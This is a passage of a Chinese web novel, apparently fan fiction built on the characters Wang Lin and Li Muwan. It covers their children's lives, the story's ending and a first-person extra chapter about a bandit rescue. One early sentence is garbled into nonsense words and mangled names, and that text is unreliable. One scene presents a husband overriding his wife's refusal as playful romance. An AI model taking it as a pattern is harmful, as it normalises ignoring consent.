发冠束起的银发,两缕散下胸前,一身白袍,腰封上系的是李慕婉新绣的荷包,一双白鹤栩栩如生,加之他那气质,俨然瀛洲岛上的蓬莱仙客。 “若非那场抢婚……”李奇庆呢喃着。 “舅舅你说什么?”王依依回头望去。 “船靠岸了。”李奇庆拍了拍她肩头,“去接你娘亲吧。” 待商船靠好,人群散去,李慕婉与王林下船,王依依跑着去接,紧紧抱着李慕婉。 “娘亲,爹爹,依依可想你们了。” 王林泛着笑,宠爱道,“怎么半年不见个子又长了?” “舅舅说过了十八岁就不容易长了。”王依依说。 “方才在船上就见你与舅舅说个不停,聊什么呢?”李慕婉身上的纱衣鼓动,宛若惊鸿仙子。 “没,”王依依藏着笑,“没什么。” 李奇庆等三人走近,李慕婉和王林唤着他,他这才接着话,“咱们家依依长大了,如今可是清平镇的香饽饽,样貌才学数-数二,商道又无人能及,连我这个舅舅都略输一筹啊。” 李慕婉泛起笑,“哥哥让着她,就使劲夸,依依该骄傲了。” “舅舅说的也有几分道理,”王依依眨着眼睛,俏皮说,“不过我这是随了娘亲的。” “那你敢不敢把那些追捧你的公子们,带到你爹娘面前啊?”李奇庆挑着眉故意道。 “舅舅。”王依依锁起眉颇有怨怼,那小模样像极了王林。 “哦?”王林吊起眉梢,似乎嗅到猎物的气息,“什么人追捧我们家依依?哪家的?姓甚名谁?” 王孤依掘后不酒,李有庆丽着手指接道,“哪可说不完了,警如替氏缩长和,私坐的江先生,长乐县今年刚中的李秀才,西头酒楼东家的大公子,长乐里 的酒内,更有基右阳壁部县的里族也管有过风声,要-吼我们家依依的风采呢,那 是说不完的…” “哥哥莫不是拿我们家依依取笑的?”李慕婉歪头盯着王依依,也不见她面颊羞涩,倒是一副理所当然的模样,她便确信了其中真假。 “那依依可是看中了哪家?”李慕婉与王林相视一眼,可王林眼中却不见喜色,而是警惕与冰冷。 只一个眼神,李慕婉便知晓他心中所想。“若是有中意的,带回家让爹娘还有祖父母替你掌掌眼。” 倒是有几个,但谈不上多喜欢,顶多是年少情窦初开的冲动,对于少年某一面的欢喜与欣赏,却不深刻。“当真吗?爹爹?”王依依注视着王林的反应。 “你且叫他来家里坐坐,让我看看。”王林收了喜色,一路上眉心紧锁,李慕婉隐约藏着笑。“哦。”王依依开玩笑式应着。 几人身影落在竹林小院,果然,没过几日,约莫五六位青年陆续到竹林小院拜访,名为是要拜谒远游回来的王先生,要与其论道谈学。 王林睨着王依依,仿佛在问她是哪一个。王依依视线飘忽不定,远远站着。 李慕婉陪在他身侧,笑的温婉,几人时不时想要瞥过一眼,却被王林气势镇压,俨然一副被书院先生训斥的低落感。王林久久未出声,王依依与李奇庆两人一人一边靠在檐柱下,看戏一般的磕着瓜子。“谢婶母那拿来的瓜子真不错,得叫她多做一些,我带到药铺去吃。”王依依没心没肺的品尝起瓜子的味道。“你爹这气势,不得把他们都吓走啊。”李奇庆朝她手心拿了些瓜子继续磕。 王依依噙着耐人寻味的笑意,似打定了什么坏主意。 终是有人熬不住,背脊汗渍湿了一块,衣裳颜色变了,那人只觉口干舌燥,起身鞠了一礼,三步并做一步出了院子。 “一个。”王依依吐了瓜子皮,倚着继续看戏。 又过了半柱香,其中一位看似温文尔雅的少年,主动开口,只是话还未说到一半,便被王林噎了回去。 “王先生,晚辈告辞。” 紧接着接二连三。 “晚辈告辞。” 王依依又念着,“两个,三个。” “晚辈告辞……” “晚辈也……” 王林挥了挥衣袖,长叹一口气,收敛起冰冷之意,转而粲然对着李慕婉,若无其事关心道,“婉儿可坐累了?” “无碍。”李慕婉垂眸无奈一笑。 王依依心满意足将瓜皮丢入炉子里,“还得是我爹。” “鬼精灵。”李奇庆在身后摇摇头,又一副佩服的神情。 见她若无其事地从檐下往堂屋去,王林犀利的眸子扫过身影,“站住。” 王依依状若不知,继续走。 “王依依?”王林声音带着严肃。 “爹爹。”王依依这才顿下步子,转身带着一副讨好的笑容。“怎么?你本事不是挺大,要爹爹给你扫清痴缠之人?”王林说,“说吧,这事计划了多久?” 李慕婉一副看破的神色。 “娘亲……”王依依求助地眼神投向她。 “喊你娘亲也不管用,”王林起身搂着她往堂屋去,“往后再有人痴缠你,自己处理。”王依依朝堂屋的背影使了个鬼脸,蹦蹦跳跳跟着进去了。 李奇庆抱紧手臂看了一出好戏。 76、入京 数日后,王依依在与李奇庆入了京,王思礼收了信,早早下朝后便到京城外十里亭候着。刚上任不久的他,恰逢皇帝推行新政,王思礼得以任命,协助各部推行令法,成效反响不错,百姓拥护。 又因协助洗清二十年前李家旧案,获得皇帝青睐,皇帝重用寒门多年,初出茅庐的他在朝中崭露头角,大显身手,仅一年便提拔为户部侍郎。两人入京后住在王思礼的侍郎府上,时隔多年,京城早已变了样,李奇庆立在檐下,默念着:“物是人非。”王思礼忙于公务时,便是许立国陪着两人,王依依隔了一年多未见许立国。再见时,许立国哭诉着,好歹王依依也算他一块带大的,王依依抱着手臂,看着他那委屈巴巴的样子,忍不住揶揄他:“许立国叔叔,你这是怎么了?” “小主子,小许子想你们了。” “你这模样,不知道的还以为思礼欺负你了。”小的时候都是他想着法的哄她,如今王依依觉着怎么变了。“跟着思礼在京城不好么?”王依依说,“还是你想回长乐县跟着爹爹?” 这么一说,许立国也舍不得,“小公子在京城无依无靠的,也就小许子这么一个知心人,还是,还是算了。”“许立国叔叔,我问你,思礼在京城可有什么红颜知己?”王依依挑眉坏笑。 “红颜知己?”许立国这方面在行,话本他可没少看,“小公子玉树临风,京城可不少闺阁小姐心悦咱们家小公子呢。” “哦?快说来听听。”王依依来了兴致。 “小主子,小公子不喜人议论他的事。”许立国话到嘴边又咽回去了。王依依状若生气,捏着拳头欲要揍他的架势,许立国避了避。“你不说,我就去问思礼了。”王依依余光瞥着他,试探道。 “小主子要问就去问,小公子长大后话都少了,跟主子一个样,那些姑娘望而却步,哪里敢跟他说话?”王依依脑子一转,“思礼还小呢,不懂男女之事正常,往后若是接触多了自然会开窍。” 她听过祖母说,爹爹以前也沉默寡言,可后来娘亲来了王家,家里比以往热闹不止,虽说起初爹爹不待见娘亲,总是凶她,后来却为了娘亲愿意放弃仕途。 “小主子,小许子带你们去京城转转吧。”许立国打断她的遐思。 王依依游遍京城,李奇庆倒是见了一些少时故旧。 周紫虹从夫君那听得一些事,户部侍郎王思礼府上来了亲友,这几日告了假。她这才知晓李奇庆入了京城,又闻言住在侍郎府上。 只是可惜,李慕婉未入京城,周紫虹递了邀帖,只当是好友邀约,两人十多年未见,彼此相熟,却仿若又不熟。京城一处茶楼,靠窗的坐台,炉子里煮了茶。 李奇庆看着她挽起的妇人髻,周紫虹移开眼,捧起茶盏,率先道,“当初在殿前王侍郎的策问得了陛下青睐,后来我从父亲口中才得知,那竟是婉儿与王林的孩子。” “也难怪,父母都是才学惊绝之人,他们的孩子又怎会差?” 李奇庆颔首,呷了口茶。 “上次清平镇一别,已是数年,你此次入京,婉儿怎得没有来?” 李奇庆视线扫了扫她,搁下茶盏,“婉儿与王林这些年周游各地,刚从瀛洲回来不久,我此次入京也是同这外甥来走走的。”王依依在茶楼下与新认识的商人款款而谈,周紫虹寻着李奇庆视线,“这是婉儿的女儿,王侍郎的阿姐?” “是啊。”李奇庆目光慈爱。 “你来京城是谈生意的?”周紫虹说。 李奇庆侧回眸端详着她,“是,依依说想打通京城的药商之路,故而陪她来走这一趟。”“那你们要搬来京城吗?”周紫虹怀着一丝期待,“婉儿也会来吗?”“不会,”李奇庆起身凭栏,望着京城街景,“清平镇挺好的,如今那里便是我们的家了。”他生于京城,长在京城,曾经意气风发的少年,最终不得已远离,多年再次回来,终不似少年游。“你成婚了。”李奇庆鬼使神差问出一句,像是憋了许久,仍是远远望着。 周紫虹诧异须臾,而后又展开笑颜,大方道,“是啊,他叫杨雄,原先是我父亲的门生,少时也在百松书院待过,你也认识的。” “杨雄,”李奇庆念着这个名字,一个熟悉的面容出现脑海,“若无记错,当初离京时,他还在大理寺任职。”“是,如今他是大理寺卿,李家案子就是我夫君和王侍郎一同翻案的。”周紫虹望着那抹背影,与少年时无异,他还是他。 周紫虹从清平镇回去京城后,放下多年的执念,答应父亲与杨家联姻,好在杨雄为人诚恳,待她也不错,婚后二人相敬如宾,膝下育有一女,刚过及笄。李奇庆心中闪过一丝复杂之色,杨雄身影从茶楼下晃过,与王依依擦身而过,周紫虹与他欠身行礼,“我该回去了,日后若有机会,希望还能与婉儿再有相见之日。” 李奇庆回头颔首,简单道了二字,“珍重。” 杨雄扶着周紫虹上了马车,王依依刚送走了商人,回头仰着楼上看见李奇庆,与他招手一笑。李奇庆收回落寞的视线,朝她挑出一抹笑意。二人回侍郎府路上,李奇庆心绪低落,默不作声,王依依察觉出他的情绪,问着,“舅舅,那位夫人可是你少时倾心之人啊?”“那是你阿娘少时的闺中密友。”李奇庆恍然后敲了她一脑袋,若无其事说。“哦?那我为何没有听娘亲提起过。”王依依望向繁闹的街道,车轴穿过车水马龙。 “那你回去再问问你娘亲就是了。” “舅舅,经此一行,我收获颇多,京城商贸繁荣,眼下天下安定,正是商贸盛行之时,思礼也说,朝廷会放开商路,我王依依成为赵国第一商人,指日可待。”“依依,银子赚不完的,你为何这么执着啊?” “舅舅不是常说,外祖家从前就是名副京城的皇商吗?”王依依说,“思礼替外祖平反了冤屈,我也想重振咱们李家的名声,男舅不信我?” “那倒不是。”李奇庆说,“你们姐弟两自小做什么,你爹娘都一心支持。你选择跟着我经商起,大肆开拓各州商路,又千方百计收下曹氏水运,我便知道会有这么-日。”“可是依依啊,富可敌国可不是一件好事。”李奇庆敲了敲她头。 王依依摸着痛处,“爹爹说过,若想成就一番事业,瞻前顾后也不是好事。” “这倒像是你爹说的话。”李奇庆无奈一笑。 李奇庆看得出她的经商之才,胆子大,脑子灵活,行事果断,这几年也放手让她一人历练,许多事全权交由她打理,自己倒是轻松不少。只是李慕婉偶尔会念叨他,这女儿留在舅舅家比自己家要多,每每回了竹林小院,舅舅长,舅舅短,三句不离李奇庆。王林吃女儿的醋,几次要在棋局里找回憋闷的气,李慕婉看在眼里,心里笑他。 *** 两人在京城待了月余返回清平镇,王思礼受任巡查地方财政收入,经过长乐县回了一趟王家村。李慕婉与王林从瀛洲回来之后也在王家村住了一段时日,竹林小院的花草被李慕婉打理得很好。山茶开得盛,堂屋和西厢房的花瓶插的都是山茶,这些白瓷是王依依从别的外商那淘来的,价值不菲。 李慕婉坐在白梅树下抚琴,院里山茶香入鼻,绿竹表挟新意。王林拿了一本书坐在琴前翻阅着,琴音绕过竹枝,微风拂过二人发丝,玉冠下的白发犹如银河铺面。琴音逐渐落下,直至终止,王林才把视线移到她身上,见他伸了手臂,李慕婉提起裙摆,朝他走过去,落在他身上。“依依信中说,这两日可能就回到清平镇了,咱们明日去永陵港接接他们吧?”“好。”王林望着她面颊,目光变得炽热,李慕婉只觉大事不妙,身子缓缓被他压下,她抵住了,推着王林胸膛。 “阿兄,你做什么?” 王林抓过她手腕,扣在腰后,无视她的抗拒,朝她面颊落吻,“婉儿说做什么?” “爹娘在堂屋歇息呢。” 王林挑着笑意,“那回房里去。” “你。”李慕婉气急,“不要。” “婉儿没有商量的余地。” 说罢他抱起人就往西厢房去,刚过檐下,竹林院外一声马蹄纵入,王依依勒马停稳,身影率先入内,见着刚上阶的二人,她喊道:“爹爹,娘亲,依依回来了。” 李慕婉从王林臂弯里回头望出去,“依依?”“你们,做什么呢?”她倚在门框上,饶有兴致地打理着两人。“依依回来了?”王林面不改色扫了一眼,并未放下的意思。李慕婉连拍了拍王林,“阿兄,放我下来。” “爹爹,依依是不是回来的不是时候?”她探出身子,挑出笑意。王林轻笑,旋即放下李慕婉,手自然搭在她腰后。“依依,我和你爹爹还想着明日去码头接你们呢。”王依依这才正直身子,“爹爹娘亲猜猜谁回来了?”两人同步歪头打量着身后,见王思礼身影渡进。 “爹,娘,孩儿回来了。”王思礼见着二人也没了在京城为官的正肃,跑着步子抱着两人。李慕婉满心欢喜,“思礼怎么也回来了,是跟朝中告假了?”“说来话长,爹爹,娘亲咱们进屋说吧,祖父祖母呢?”“都在屋里呢。”王林道。 几人入了堂屋,周英素和王天水背弯了些,见着孙儿两人,脸上褶子笑成一团。 周英素忙碌了大半辈子,总是歇不下来,忙前忙后又是端茶又是烧饭,李慕婉要帮手也被她推回堂屋,只道让母子多说会儿话。 王思礼挨着王天水同坐,与众人说明此次回家缘由,王林寒暄几句。 “思礼是又长高了,”李慕婉望着他,“这身量与你爹爹一样。” “铁柱十六岁时个子猛窜,十八九岁了还在长,思礼若随了他爹,还能再长呢。”王天水说。 王依依跑到厨房帮忙去了。 竹林小院又恢复往日的热闹。 翌日李奇庆来了竹林小院,王林与王思礼父子二人谈着策论,李奇庆与王依依下棋对弈,她的棋艺是舅舅教的。 王天水端着烟斗躺在竹椅慢慢悠悠听着琴声,周英素做着女工,时不时说一句“少抽一些”。 李慕婉抚琴望着院内的画面,忆起当初刚来这竹林小院时,院内春景盎然,木碎吹得满院子都是。 那时王天水的背还是直的,周英素的发也是黑的,王林总是端着高冷的脸,时不时睨她一眼。 多年过去,一切都变了,又仿若没变。 *** 之后几年里,王依依致力于发展商路,三年后她如愿以偿让李氏药商做上皇商。要与王家论亲的人踏破门槛,与她陷入情深的倒有不少,只是每过不了半年,熟知后又觉无趣。 李奇庆笑话她。 她却满不在意说:“世间寻乐亦如此,古来万事东流水。爹爹娘亲一生厮守,舅舅终身不娶,我视他们为过客,又何不足一种寻乐,何必在意非得婚姻嫁娶来束缚情爱。”“舅舅明明懂,却还要装作一副高深的模样来与我说。” “是是是,依依这嘴啊,跟你娘亲少时一模一样,想当初她为了你爹爹,可不少与我顶嘴。”李奇庆忆起往事颇有微词。王依依一副见怪不怪,李慕婉失踪那时,爹爹为着娘亲做了何等疯狂之事,她都还有记忆。 是以,无论王林做什么,她都不觉得出奇,而爹爹所做之事,她从祖父祖母那里听得不少,娘亲刚到王家村时,为王家所做之事有过之而无不及。王思礼一路官路亨通,坐上宰辅之位,成为赵国第一个年仅二十就位极宰辅的人。 李奇庆终身未娶,多年郁结在京城回来后便已放下了。 王林仍是带着李慕婉周游赵国各地,每回出去几月又会返回竹林小院陪伴二老。 桃林栈道上,两人身影晃在水面,桃花漫天。王林牵着李慕婉的手,花瓣落在她发丝上,白发搅动,衣袂飘起,留影处洒下几瓣花朵。在那片翠绿的竹林深处,有一座小院,竹影婆娑,清风拂面。阳光透过竹叶间的缝隙洒落下来,点缀在石板小径上,温暖而宁静。 院子里,屋檐下悬挂着几串竹筒和贝壳做成的风铃,轻轻作响。那是两人从瀛洲带回来的海贝,和着远处鸟儿的啁啾声,俨若一副古画。院中的竹几旁王林与李慕婉挨在一块坐,聊着近日的趣事,她靠在王林肩头,偶尔相视一笑,眼中是夫妻二人多年的默契。岁月未在他们面容上留下痕迹,只是在他们身上多了几分韵味,那份从容和温婉,经年累月的愈发摄人心魂。 驻颜丹的功效似乎比他们预料的都要好,这些年李慕婉得空还会炼制丹药打发时间,炼丹时王林便守在一旁,赏着专注的李慕婉他心足。时间仿若静止在这,竹林的风温柔拂过,阳光依旧透过枝叶洒落。 小院的宁静与和谐,把世间纷纷扰扰的疲惫与烦恼烟消云散,唯有爱人与家人在心中蔓延长眠。 浴光下,院子摊了纸笔,王林环抱着李慕婉,白纸落了笔墨,他带着她,提下两行字。 “两情若是久长时,妄贪图朝朝暮暮。” 竹林上空,碧落净亮,白云悬挂,山风轻拂,这便是他,一生所向。竹林客栈缘起,竹林小院情定,他们厮守在这,相伴一生,把彼此刻在骨血里。起风了,两缕白发飘缠在风里,凡世一场,与所爱之人终得圆满。 *** 窥视镜周围的红光隐去,王林神念驱动,窥视镜收回储物袋,他牵起李慕婉的手往湖心亭漫步。 王林与李慕婉相视,攥紧她手,“咱们带着思礼和依依,再去凡间游历一次吧。” “好,听师兄的。” 桃林再次漫起琴音,王林倚着亭柱,饮酒入喉,琴音入耳。 那些了不可见的修真恩怨,早在他布下桃林结界的那年,与世隔绝,此间唯以相守。 【全文完】 77、王林 永正八年,寒窗苦读十八年的我,满载爹娘期许入京赶考,已经离家两月,家书寄了几封,爹娘许是都收到了。 沿途的春景盎然,一副万物复苏之景,以我多年对学术钻研,此次会试中,我有把握能考到功名,完成爹娘的期许,往后爹无需常年久坐木雕还债,娘也无需日夜忧心我的前程。 娘总说家成业立,即便是成家,也得考了功名再谈。 一路北上,听闻天麓山匪患猖獗,所见行人大多结伴而行,我身上银子不多,也都是爹娘这几年辛苦攒下的血汗钱,若山匪当真觊觎我一书生的钱财,我也不会任他劫戮。 只是耽误了入京脚程不值当,得尽快在天黑前找个客栈落脚。 *** “哥哥,过了天麓山是不是就快到临州了。”客栈外的木桌,两个年级相仿的男女喝着清茶,那是一位温婉的女子,年纪像是十六七岁模样,而她身旁坐的男子,瞧着比她大几岁,却是一副端肃君子模样。 “嗯,婉儿这是记着地图呢,”身旁男子摸了摸她头,心疼她随着自己奔波,“天麓山是多地的必经之路,眼下之地,是通往赵国不同东西南北的分叉口,这一路婉儿也瞧见了,许多赶赴京城考试的学子陆续汇集此处。” “嗯,今年春闱人数可不少。” 男子嘱咐道:“婉儿,你在客栈等我,我得回一趟昨日镇子客栈寄一封信。” “哥。”女子扯住他衣角,巡视一周,似乎有些害怕,这还是她第一次远离家,远离京城。男子知晓她心中所想,安抚到,“婉儿不怕,就在客栈歇着,来回最多只需一个时辰,天黑前哥一定回来。” “那哥早去早回,路上当心。”她松了手叮嘱道。 男子点头后翻上马背,疾驰出了林道。 *** 客栈坐落在一处竹林里,离着外头村子还有数里山路,不少行人背着背篓,走了半日。 此刻的我有些口干,歇脚的客栈落满了人,我扫视了一圈,却难找寻到一个空位。小二热情,见着我是书生,好心带着我寻到一个位子。 “这位小哥也是赴京赶考的吧?我这客栈书生不少,都是借宿的,您是要打尖还是住店啊?”小二手里拖着茶盘。 “一杯清茶即可。”再赶路半日便可到下一个镇子,镇子上住店划算一些,也能省下时间。 “好咧,小哥您往这边坐。”小二转身朝客栈去,“一壶清茶。” “多谢。”我刚要坐下,却见对面坐的一位女子,气质温婉,肤如凝脂,眼如点漆。从装扮来看,许是富家小姐,只是富家小姐怎会独身一人出行,我正遐思时,她与我视线相对,朝我率先点了头。 “公子也是赶往京城考试的吧?”她的声音带着轻柔和回响,似比音律动听。 我眨了眨眼,不知为何,心跳似乎比平常快了些,盯了好一会,还是我生平第一次失礼,女子那原本塞雪的面颊透着红,撇过了脸。 没过多时,她又举止大方道,“公子若是不嫌弃,小女子请您喝一杯清茶吧。” “多谢,不必了。”我言语冷漠,带着提防。 一阵清风徐面,似有一阵淡香而来,与这客栈和竹林的味道都不同。 我又情不自禁地往她身上撇了一眼,圣人常说,非礼勿视,思及此话,我便克制自己,平复心绪。 那是我第一次这般想要打量一个人,至于出于什么目的,我也道不清楚。 可她却掩笑没再说话。 “小哥,您的茶。”小二打破了宁静。 “多谢。” “小二,此处到燕州地界还需多少时日啊?”女子寻机问。 我从二人谈话里得知她是要去燕州的,之后便收回心绪,坐了半柱香时辰,我该启程赶路了。 只是此女她既然要前往燕州,却为何又如此悠闲品茶,行客多为匆忙,她倒向是像享受一般,压根不急着赶路。 带着疑虑我起身放了两个铜板的茶钱,背起书箱继续赶路。 她漾出一抹笑,媲美这春日春风暖阳,我面容冷静,没有过多情绪,只是刚起身没走出几步,远处竹林一阵马蹄声踏过,不少赶路人口中胡乱喊着:“山匪来了。” “山匪来了。” 马蹄踩过人的身驱,速度不减,路边倒了些行客。那些山匪直奔客栈而来,他们举着鬼头刀,马蹄带过的风仿若撕裂开了这空地,尘土漫起人头高,惊起林中鸟兽。 只见领头的一位男子肩背粗犷,留着络腮胡,粗鲁朝空旷喊道,“我也不为难你们,只需交出身上钱财,另外……” 那人拿出一张画轴,展开后,入目是一位婉约的女子,颇为熟悉。 “尔等可有看见此人,倘若私藏包庇,那就怪不得我了。”他眼眸透着无情的狠厉。 身后一把竹椅倒下,打破了宁静,霎时间人群纷乱,四散逃窜,而我回头瞧见方才同坐的女子往客栈里跑。 是了,那人手里画卷是她! 可山匪为何要找她?这并非是我该管之事,这种念头闪过,我未多理会,置身事外。 就在这时,山匪似乎捕捉到人影,举起鬼头刀朝身后人下令:“就是她,抓住她,大当家交代,若是反抗,临时处死。” 随着一声令下,山匪跨/下马背,抄起刀便往客栈里冲去,住店的旅客吓成一团。 往竹林后的山道逃窜,那女子掩在人群中,很快便被山匪擒获。 可没过多时。 “你就是李慕婉?”山匪大哥刀尖抵住她的脖颈,“抬起头来。” 那女子目光泛狠,虽然害怕,却未低头,“你们奉谁的命抓我?” “哼,”山匪冷嗤,“少废话,带走。” 她被绑上马,山匪抓了人,我仿若听见还有人说,“大哥,不对啊,大当家说是兄妹二人同行,应该还有一人。” “你哥呢?”那人再次抵着她喉咙。 “不知道。”她执拗不愿说。 那些行路人早已远去,唯独我还滞留在客栈,待山匪远去,我背了书箱继续赶路,只是没走出半里远,又遇见那伙人,山匪似乎在逼问她什么,她身上挂了些草碎,面颊也脏了。 山匪毫无人性,我握了握拳头,权衡利弊,我管不了。 只能漠视这一切。 我以为那些人不会为难我,我若无其事走过去,却仍然堤防着。 只是无意间瞟了一眼,她正紧紧盯着我,眼神里散出希望,我漠视。 “那个书生,过来。”山匪拿刀指着我,使唤我过去。 “何事?”我冷漠应道,若非怕惹事耽误赶路,我也不害怕他们。 “把你身上值钱之物留下来,否则,死。” 我未理会,而是继续往前,那人见我无视他,怒意满腔。 紧接着几位壮汉围上来,我顿下脚步,侧眼时,那女子投来求助的目光,“公子,救我。” 山匪注意力放回她身上,大笑着,“他可救不了你。” “交出值钱物品,饶你一命。”山匪再次胁迫。 “诸位,何必为难我一书生。”瞧我装束,哪里像是有值钱之物?这些山匪头脑简单,不过如此。 可杀! 我唇角溢出一股邪魅,随即转身拿出身上物品,准备呈过去。 近在咫尺中,我运功时手腕转动,山匪受力失了平衡,我趁机手肘借力攻击其下颚。 山匪身子后仰,我再次腾空而起,将全身力量聚集在右腿,朝他胸前落脚,马蹄惊乱中仰起,我稳稳跃上马拉住缰绳,稳住马匹后,夹紧马肚,冲出人群。 “公子。” 伴随女子的求救,我俯身朝她伸手,她双腕被绑于身后,只能眼睁睁望着我。 只一个眼神,我便意会了,屈身前倾,朝她俯下,一手拉着缰绳,双腿夹住马身,另一手绕过她身后,用力时,随着力量整人落在我怀中。 “娘的,被摆了一道,追。” “杀了他们。” “要是被那李慕婉跑了,咱们得提头回去见大当家。” …… 山匪见状赶忙追上,可是马匹驮了两个人,又是山路,跑的并不快。 要追上了。 若想全身而退,只能正面迎敌,击溃他们的追击。 无奈之下,我勒紧缰绳,手里抓着从山匪身上夺来的鬼头刀,未等他们反应,鬼头刀见血,我速战速决,众人倒下后,我身上也受了几处轻伤。 还未断绝气息的山匪已然没了继续追的力气,但是天麓山山匪能常年横行此地,必然势力过人,久留此地亦或者沿着官道出去已经不是首选。 思量一番过后我只能策马沿着小道上山,走入深山后,上山的路封了,马匹上不去,我们无法策马再躲避山匪支援后的追击。 唯有下马探路,躲藏山林才是为今之计。 “公子,那些人是天麓山山匪,我们若是不离开天麓山,恐怕迟早要落入他们手里的,为何还要一直往山上去?”李慕婉喘着息,额间冒着汗珠。 “拿着。”我将从山匪那夺来的刀递给她,刀上还有血迹,她呆愣愣地看着那把刀,清澈的眸子似乎噙着委屈。 我本不耐,反应过来她手还绑着,随即用刀挑断了绳。 李慕婉得以解脱,安分地接过那把鬼头刀。 “公子,是要往深山里去吗?”李慕婉说,“相传天麓山深处常有猛兽出没,堪比十数成人的战力,就连山匪也不敢靠近。曾经有村民传言在山下看见猛虎伤人,官兵派了百来人上山猎杀,却无一人归。” 她话音刚落,深山里便隐隐传出野兽的低吼,她不禁想要往我身上靠近,生怕一不留神便被哪出来的猛兽叼走了。 “害怕了?”我观察周围环境,冷冰冰说,“倘若你怕,眼下就沿我们来时的路回去,看是先死在他们刀下,还是成为猛兽的餐食。” 她应是觉得我与客栈初见时截然不同,垂眼低落转了话题道,“公子是要京城赶考的,若是无法脱身,恐怕。” 我心里惦记着这事,本不想多管闲事,奈何那些山匪咄咄逼人,即便我不出手,也会被山匪杀害。 “那些人为什么要抓你?”我回眸睨了她一眼,想要探清她的底细。 眼神犀利地如寒芒刺背,李慕婉吓得躲开视线,低头温吞道,“我,我也不知道,我身上既无钱财,也无得罪他人,他们为何要置我于死地。” 我心有猜忌,自是不会全信,山匪所言所行,意图明确,是冲她来的。 可她的反应和回话却让我挑不出任何毛病,她不愿意说,那就罢了。 眼下怎么都算是绑在一根绳上的,就算与她撇清干系,下山若是再次遇到山匪,仍然无路可逃。 “山匪性情暴虐,杀人不眨眼,又人多势众,从天麓山一路走来听闻山匪还弑杀□□,若想要逃离他们的追击怕是不易。除非能下山求助官兵或是有像公子这样一身武艺抵抗,若是落入他手,恐怕下场凄惨无比。” “公子虽是书生,方才见你与他们厮杀时,身手不凡,若是公子能带我离开天麓山,小女子愿意结草衔环相报您的救命之恩。” 经过一番探查之下,我接过她手中鬼头刀,只是沿着山路进入深山。 “进去。”我打破她的遐思,她懵了须臾,不知在想什么。 “这是山洞。”她往里面探寻着,洞口外隐约几束光,再往里便是深不见底的暗。 “这种山洞,我们直接进去吗?”李慕婉担心说,“会不会有野兽在里面。” “不会,依这山洞看,洞口的植物并无被破坏的痕迹,也无任何野兽留下的脚印。”我说着便率先入内,洞口落了些枯木,收拾一番后往洞里搬进去,这些枯木可做柴火,晚上有火光能御野兽。 深山被高耸林立的灌木遮盖,天暗的快,那些山匪被我杀掉后,还有几个重伤的,若是几人回去寨子通信,再派人出来也要一时半会,我该斩草除根才是。 倘若他们再次出动必然会惊动官府,即便是冲着这女子来的,若第一次失败,第二次也不会再轻易出手。 只是以防万一,我得在这藏身几日再寻出山之路,而接下来几日,我计划白日寻下山的路,不能再往原来的方向走官道,如此会耽误不少时间。 我虽不想带着她,可眼下两人同行,甩掉她已是无可能,顶多下山后各奔东西。 在山里探查几日后我决定下山返回清平镇,渔符丢了,入不了京,若那些山匪在京城必经之路等着我,便是自投罗网。 为此,我只能放弃入京打算。 下山后,她迟迟不离去,与我说是同兄长走散,可却始终隐藏着为何那些人要追杀她的秘密。 我若有所思看了眼身后的女子,她正扶着一根小木下山,几日跋山涉水,却不见她喊一句累。 若是寻常的富人家小姐,早该喊累了。 我在一刻对她的映像有了些许改观,至少她没我想的那么麻烦。 到了客栈住店的夜里,她的要求又把我对她的印象打碎了。 她麻烦! 此女善于撒谎,见着她眉目里的柔软,却步步泛着算计,而她的算计不过是想暂时寻个安身立命之所。 我并不知她身后藏了什么祸事,心里芥蒂不消,我未答应,也并未拒绝,不知为何无法拒绝她的请求,她的一双眼睛似乎会说话。 她拿了身份鱼符给我看她的身份,我手里轻轻捏着那块身份鱼符,心里默了一遍她的名字。 李慕婉。 这是她的名字。 当我抬眼时,李慕婉正端详着我。 鱼符来看不是假的,我收了她的鱼符,答应带她回家暂住。 就只是暂住! 回到小院,我在堂屋跪求父母留下她时,我明知父母心善会同意,可还是悬着一颗心。 直到娘的一句既来之则安之,垂首的我才解了一件心事。 虽收留了她,我还是害怕家里会因此女而引出祸事,加之错失会考机会,本就有负爹娘。 我心情低落不假,在爹娘面前并未多表露。 娘给她安排了东厢房住,那间房空了许久,只是从西厢房的窗户望去,正好能看见她在妆台下梳妆,家里突然多了一个外人,于我而言,不大自在。 且还是个女子! 早饭时娘随口提了句,昨夜李慕婉特意问她,我为何叫铁柱。 娘是当玩笑说的,可有那么一瞬莫名的别扭,从小爹娘就是这么唤的,村子里也这么叫,这是父母给的名字,我从未考虑过好听还是不好听。 回到家中,我并未闲下来,而是继续温书来年再考。 李慕婉也没闲着! 她把家里布置得跟个花园似的,也没有问过我与爹娘的意见,抛开别的不说,确实比先前的院子多了几分生气。 爹娘似乎比以前更爱笑了,尤其是娘,眉眼中的忧郁在李慕婉来的这些天散了许多。 她很会逗娘开心,除了摆弄花草之外,就是围着娘在厨房里打转。 我在房里温书时,总能听见院里传来的笑声。 她把院子和她的东厢房插满花就算了,把爹在堂屋腾出,用来放置新木雕的置架也一并摆上了花草。 原以为这样便罢,可她不请自来,也在我房里插了花,用竹筒雕刻做成花瓶,倒是别出心裁。还是爹给她刻的,或许这是我失去赶考机会,对于王家而言,算是件幸事吧。 爹娘心善,为人朴实,可我知道李慕婉瞒了事,她的身份并不简单。是我带她回来的,我也要保全爹娘的安危,不能因此连累爹娘。 当她提出要写信去镇子寄往燕州,早日寻到兄长离开王家村,我应下了。 果然,若非我留了心眼,又怎会知晓她除了寄去燕州还寄了一封前往京城,她果然撒谎了。 她来王家村也不过两日,整个村子传开了,我虽不在意乡亲们的言论,可她是女子,这或许于她名声有碍。 而她好似并未放在心里,不知怎的,从王浩家弄了海棠栽了满墙,又与娘商议要跟村里人上山采药。 去就去吧,或许去了一日便哭着回来了。 李慕婉第一次上山,娘亲要我去村口接她,她又不是不认得路。 我不情愿,可娘坚持,我不好忤逆,只能去村口等,她与花影谈笑,看来上山没难着她。 那背篓插满了山茶,她是去采药还是采花的? 王家村下雨这几日,娘的腿疾又犯了,我温书出来时,见着李慕婉专神地替娘熏艾,细烟绕着她轮廓,若隐若现。 她的样貌生得极好。 娘熏艾后腿疾症状好了许多。 我对她的戒备,第一次疏散,也仅仅是一些。 为着娘的腿疾,她钻研医术,寻找治疗医案,王浩家有医书,刚下过雨的路不好走。 她步子迈得谨慎,走在田梗上摇摇晃晃的。 雨后的泥泞沾污了她的绣花鞋,她并未在意,雨落到她肩头,我把伞偏向她。 *** 娘要给我议亲时,我知道爹娘一直盼着我成家。我还未想过议亲之事,可若是要成亲,定然是我自己欢喜之人,也是爹娘欢喜之人。 李慕婉也要添乱! 